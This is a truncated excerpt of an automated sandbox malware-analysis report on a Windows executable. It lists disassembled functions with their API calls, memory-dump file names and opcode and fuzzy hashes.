RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000482,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000482,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
